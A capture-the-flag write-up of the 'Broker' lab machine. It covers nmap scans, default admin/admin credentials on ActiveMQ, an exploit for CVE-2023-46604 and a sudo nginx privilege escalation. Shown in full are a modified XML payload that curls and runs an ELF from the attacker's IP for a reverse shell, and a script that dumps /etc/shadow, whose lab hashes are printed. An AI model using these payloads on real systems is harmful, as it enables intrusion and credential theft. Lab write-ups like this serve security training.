Broker

Nmap scan

$ nmap -sC -sV -Pn -oN nmap 10.10.11.243
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 21:08 +08
Nmap scan report for 10.10.11.243
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds

$ sudo nmap -sU -sV -Pn -oN udp-nmap 10.10.11.243                            
[sudo] password for ranay: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 21:10 +08
Stats: 0:02:14 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 13.17% done; ETC: 21:27 (0:14:43 remaining)
Stats: 0:11:22 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 67.20% done; ETC: 21:27 (0:05:33 remaining)
Nmap scan report for 10.10.11.243
Host is up (0.018s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1122.32 seconds

Initial Access

Port 80

When we try to go into port 80, we are greeted with this. So, we tried the usual password that could get us in such admin/admin and sure enough it worked. This is further confirmed after searching online for the default credentials

After logging in, we are greeted with this website. It seems there ActiveMQ running on this website by apache.

When we clicked into the Manage ActiveMQ broker , we can see that the version is 5.15.15.

After searching online if there is vulnerabilities existed for this version, it turns out there is a vulnerability associated to it.

GitHub - SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ: Achieving a Reverse Shell Exploit for Apache ActiveMQ (CVE_2023-46604)GitHub

After reading the information and playing around with the program, we will need to key in these information when we are going to run the exploit.

We will also need to create the reverse shell that is to be executed to the user shell.

The poc-linux.xml file is modified to be the same as shown below.

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>curl -s -o test.elf http://10.10.14.5:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

After executing, we are able to get a reverse shell from it and from there we can get the user shell.

Privilege Escalation

Getting a proper user shell

We will copy our own public key and put into the target machine.

We will then login using ssh using our private key to get a proper shell.

Zimbra Nginx LPE

After some enumeration, we realised that the nginx command can be run as root user.

Further search online shows that there is a exploit for local privilege escalation.

Zimbra “nginx” Local Root ExploitDarren Martyn

This is the exploit code from the website:

#!/bin/bash
echo "[+] making config"
cat <<EOF >/tmp/nginx.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
server {
    listen 1337;
    root /;
    autoindex on;
}
}
EOF
echo "[+] Launching..."
sudo nginx -c /tmp/nginx.conf
echo "[+] Reading /etc/shadow..."
curl http://localhost:1337/etc/shadow

After running the exploit code, we can see the /etc/shadow file which is only be accessed by the root.

activemq@broker:~$ bash exploit.sh 
[+] making config
[+] Launching...
[+] Reading /etc/shadow...
root:$y$j9T$S6NkiGlTDU3IUcdBZEjJe0$sSHRUiGL/v4FZkWjU.HZ6cX2vsMY/rdFBTt25LbGxf1:19666:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
activemq:$y$j9T$5eMce1NhiF0t9/ZVwn39P1$pCfvgXtARGXPYDdn2AVdkCnXDf7YO7He/x666g6qLM5:19666:0:99999:7:::
_laurel:!:19667::::::

This means by modifying the payload we are able to get the content of /root/root.txt.

#!/bin/bash
echo "[+] making config"
cat <<EOF >/tmp/nginx.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
server {
    listen 1337;
    root /;
    autoindex on;
}
}
EOF
echo "[+] Launching..."
sudo nginx -c /tmp/nginx.conf
echo "[+] Reading /etc/shadow..."
curl http://localhost:1337/root/root.txt

After executing again, we are able to get the content of root.txt.